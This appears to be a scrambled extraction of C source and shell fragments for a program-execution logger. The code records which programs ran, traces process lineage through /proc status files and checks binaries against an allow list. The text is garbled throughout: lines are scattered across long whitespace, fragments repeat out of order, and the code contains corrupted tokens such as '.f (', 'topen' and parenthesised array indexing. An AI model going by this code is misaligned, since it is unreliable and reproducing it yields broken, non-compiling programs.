                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 list,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 done
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               ĕ
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         echo
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         DALLOWED[7].name="/usr/bin/sort";DALLOWED[7].depth=12;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             DALLOWED[6].name="/usr/bin/find";DALLOWED[6].depth=12;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            DALLOWED[3].name="/bin/sh";DALLOWED[3].depth=12;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    struct dallow DALLOWED[9];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   done
                                                                                                                                                                                                                                                                                                                                                                                                   /* Logs the programs that have been run.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                   DALLOWED[9].name="/usr/local/bin/me";DALLOWED[9].depth=12;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         DALLOWED[8].name="/usr/bin/tail";DALLOWED[8].depth=12;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DALLOWED[5].name="/usr/bin/du";DALLOWED[5].depth=12;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          DALLOWED[4].name="/usr/bin/date";DALLOWED[4].depth=12;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              DALLOWED[2].name="/bin/ps";DALLOWED[2].depth=12;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     DALLOWED[1].name="/bin/cp";DALLOWED[1].depth=12;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 void initdallow()
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          struct dallow {char *name;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              // # File D.h
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      while read
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  now */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      forgive them
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               return(1);]
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         for (i = 0; DALLOWED[i].name; i++)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    int Dallowed(char *filename)
                                                                                                                                                                                                                                                                                              int log(char *logfile, char
                                                                                                                                                                                                                                                                                                                                                                                                                          // # File Log2.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   // # File Dextract
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if (getpid() < SYSPROCTHRESH) return(1); /* system processes...</pre>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          s/;//g'
                                                                                                                                                                                                                                                                                                                   * argv: argument array for program*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         DALLOWED[0].name="/bin/df";DALLOWED[0].depth=12;
                                                                                                                                                                                                           char pidstr[MAXPIDDIGITS];
                                                                                                                                                                                                                                                   FILE *logfp;
                                                                                                        return -1;
                                                                                                                                                                   if (! logfp)
                                                                                                                                                                                                                                  int i, pid;
                                      fputs(program, logfp);
                                                                                                                                                                                       logfp = fopen(logfile, "a");
                                                                                                                                                                                                                                                                                                                                                         program: name of the program being wrapped
                   fputs("\n\"Args\"",
                                                                                                                       //printf("Çan't open log file\n");
                                                                                                                                                                                                                                                                                                                                       argc: number of args for program
                                                         [puts("\"User's call\",", logfp);
                                                                                                                                                                                                                                                                                                                                                                                 logfile: name of the file to put the log in
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (0 == strncmp(filename,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (if ((DALLOWED[i].depth
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             -n "$a "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       argcount
 (i = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      a
b
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sort | noreps.pl | while read
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        for
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       dŞ
                   logfp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        int depth; );
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                DALLOWED[i].name,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     == depth) &&
                                                                                                                                                                                                                                                                                              *program,
                                                                                                                                                                                                                                                                                            int argc,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              a;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            do echo
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  strlen(filename))))
                                                                                                                                                                                                                                                                                              char *argv[])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "$a";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            done
```

```
sizeof(char));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 void log_lineage(FILE *filep, char *pid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       * file filep.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              * Traces the process lineage of process pid and logs the results
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ****
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          pathname = (char *) malloc((strlen(PROC)+strlen(pid)+strlen(STATUS))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   char *statline, *pathname, *ppid, *stat, *label;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  pstats = fopen(pathname, "r");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          printf("Insufficient memory for logging\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              FILE *pstats;
                                                                                                                                                                                                                                                                                                                                                                                                 printf("Insufficient memory for logging\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                     ppid = (char *) malloc(MAXPIDDIGITS * sizeof(char));
if ((! statline) || (! label) || (! stat) || (! ppid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            statline = (char *) malloc(MAXLINELEN * sizeof(char));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      printf("Can't open file %s for reading\n", pathname);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             sprintf(pathname,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             if (! pathname)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  return 1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         log_lineage(logfp, pidstr);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    itoa(pid, pidstr);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               fputs(",", logfp);
                                                                                                                                                                                      getlabel(statline, label);
                                                                                                                                                                                                                                                                                          while (fgets(statline, MAXLINELEN, pstats))
                                                                                                                                                                                                                                                                                                                                                                            return;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         free(pathname);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               return;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if (! pstats)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     return;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           fclose(logfp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      fputs("\n", logfp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      pid = getpid();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        fputs(argv[i], logfp);
                                                                                                  fputs(label, filep);
                                                                                                                                                             getinfo(statline, ppid);
                                                                                                                                                                                                                                                                                                               fputs("\n\"->\",", filep);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       label = (char *) malloc(MAXLABELLEN * sizeof(char));
                                                                             fputs("\",",
                                                                                                                                   fputs("\"", filep);
                                                    fputs(ppid,
                                                                                                                                                                                                                                          .f (! strncmp(PPID, statline, strlen(PPID)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         (char *)
                                                    filep);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         Results are in the form of a .csv file.
                                                                               filep);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         malloc(MAXINFOLEN *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               "%s%s%s", PROC, pid, STATUS);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           sizeof(char));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       in
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 void getinfo(char *procline,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  ****
                                                            /****
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        getlabel(statline, label);
                           * Extracts the label and from a line of the status
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 getinfo(statline, stat);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          free(ppid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            free(statline);
                                                                                                                                                                                                                                                                                                                                                                                                                              else if (! isspace(procline[i]))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if (logspaces && (procline[i] != '\n'))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           for (i = 0; i < strlen(procline); i++)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    getdata = logspaces = j = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             int i, j, getdata, logspaces,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            free(label);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     free(stat);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         fclose(pstats);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         log_lineage(filep, ppid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  fputs("\n", filep);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        fputs(stat, filep);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    fputs("\",", filep);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        fputs(label, filep);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      fputs("\"", filep);
                                                                                                                                                                                        getdata = 1;
                                                                                                                                                                                                                                          else if (procline[i] == ':')
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   procline: a line of the file /proc/(pid)/status
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 file in proc.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   Extracts the data from a line of the status
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              if (strncmp(ppid, ZERO, strlen(ZERO)))
                                                                                                infobuf[j] = (char) NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      .f (getdata)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            infobuf: array to put the data in*/
file in proc.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         infobuf[j] = procline[i];
                                                                                                                                                                                                                                                                                                                                                 infobuf(j) = procline(i);
                                                                                                                                                                                                                                                                                                                                                                            logspaces = 1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 "Label: data"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Lines are of the form:
  Lines are of the form:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     char *infobuf|
```

```
int log(char *logfile, char *program,
                                                                        int depth;
                                                                                          #define DEPTH_THRESH
                                                                                                                // # File log.c
{FILE *logfp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              void itoa(int n, char s[])
                                          /* Log the programs that have been run.
                                                                                                                                                                                                                                                                                                                                                         void reverse(char s[])
                                                                                                                                                                                                                                                                                                                                                                            /* From K&R page 62 (see wrapper.h for details)
* Reverses the order of the characters in s.*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          /* From K&R page 64 (see wrapper.h for details)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 int getlabel(char *procline, char *infobuf)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  * Converts an int n to a string, puts the results
                                                                                                                                                                                        s[i] = s[j];
s[j] = c;
                                                                                                                                                                                                                                                                                        for
                                                                                                                                                                                                                                                                                                             int c, i, j;
                                                                                                                                                                                                                                                                                                                                                                                                                                                     reverse(s);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                             s[i] = '\0';
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            s[i++] = '-';
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                while ((n /= 10) > 0);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              s[i++] = n % 10 + '0';
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 int i, sign;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              return
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1++;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     while (procline[i] != ':')
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               getdata = i = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   int i, getdata;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if (sign < 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if ((sign = n) < 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      infobuf[i] = (char) NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     infobuf[i] = procline[i];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     infobuf: array to put the data
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            procline: a line of the file /proc/(pid)/status
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    11
                                                                                                                                                                                                                                        = s[i];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   11
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               "Label:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 -n;
                                                                                                                                                                                                                                                                                   (i = 0, j =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              <u>ب</u>.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              data"
                                                                                                                                                                                                                                                                                     strlen(s) -
                                                                                              16
                                                                                                                                                                                                                                                                                 1; i < j; i++, j--)
                    int argc, char *argv[])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Ħ
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        s. */
            if (strncmp(ppid, ZERO, strlen(ZERO))) (depth++;loglineage(filep,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              scac =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       statline = (char *) malloc(MAXLINELEN * sizeof(char));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    pathname = (char *) malloc((strlen(PROC)+strlen(pid)+strlen(STATUS)) *
                                                                                                                                                                                                                                                                                                                                                                                                                        while (fgets(statline, MAXLINELEN, pstats))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ppid = (char *) malloc(MAXPIDDIGITS * sizeof(char));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  free(pathname);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         pathname);return 1;}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if (! pstats) {printf("Can't open file %s for reading\n"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     pstats = fopen(pathname, "r");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           sprintf(pathname, "%s%s%s", PROC,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (! pathname) {printf("Insufficient memory for logging\n");return
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 sizeof(char));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                char *statline,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   pid = getpid();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    for (i = 0; i < argc; i++) {fputs(",", logfp);fputs(argv[i], logfp);}</pre>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              char pidstr[MAXPIDDIGITS];
                                                                                                                                                                                                                                                                                                                                                                                                                                                  fputs("\n\"->\",", filep);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              if ((! statline)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      label =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          int loglineage(FILE *filep, char *pid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             fclose(logfp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (! logfp) {return -1;}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        return
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               if ((err=loglineage(logfp, pidstr)) != 0) fputs("\n", logfp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           itoa(pid, pidstr);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               fputs("\n\"Args\"", logfp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          logfp = topen(logfile,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        int i,err, pid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    [FILE *pstats;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      * file filep.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                ****
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     :puts(program, logfp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        fputs("\"User's call\",", logfp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             * Traces the process lineage of process pid and logs the results
                                                                                                                                                                                                             else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      (printf("Insufficient memory for
                                                                fputs("\n";
                                                                                                                                                                                                                                                                                                                           getinfo(statline,
                                                                                                                                                                                     getinfo(statline, stat);
                                                                                                                                                                                                                                                                                                                                                   getlabel(statline, label);
                                                                                      fputs(stat, filep);
                                                                                                             fputs("\",",
                                                                                                                                                                                                                                   fputs(ppid,
                                                                                                                                     fputs(label, filep);
                                                                                                                                                           fputs("\"",
                                                                                                                                                                                                                                                         fputs("\",",
                                                                                                                                                                                                                                                                               fputs(label, filep);
                                                                                                                                                                                                                                                                                                         fputs("\"", filep);
                                                                                                                                                                                                                                                                                                                                                                                                    (! strncmp(PPID, statline,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (char *) malloc(MAXINFOLEN *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (char *) malloc(MAXLABELLEN * sizeof(char));
                                                                                                                                                                                                             (getlabel(statline, label);
                                                                filep);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Results are in the form of a .csv file.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              *pathname, *ppid, *stat,
                                                                                                                                                                                                                               filep);}
                                                                                                                                                           filep);
                                                                                                                                                                                                                                                           filep);
                                                                                                              filep);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (! label) || (!
                                                                                                                                                                                                                                                                                                                           ppid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           pid,
                                                                                                                                                                                                                                                                                                                                                                                                    strlen(PPID)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      logging\n"); return 1;}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            stat)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          sizeof(char));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           STATUS);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            *label;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            (! ppid))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                'n
```

```
getdata = i = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            while (procline[i] != ':') {infobuf[i] = procline[i];i++;}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    infobuf[j] = (char) NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            for (i = 0; i < strlen(procline); i++)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           getdata = logspaces = j = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    {int i, j, getdata, logspaces;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              void getinfo(char *procline, char *infobuf)
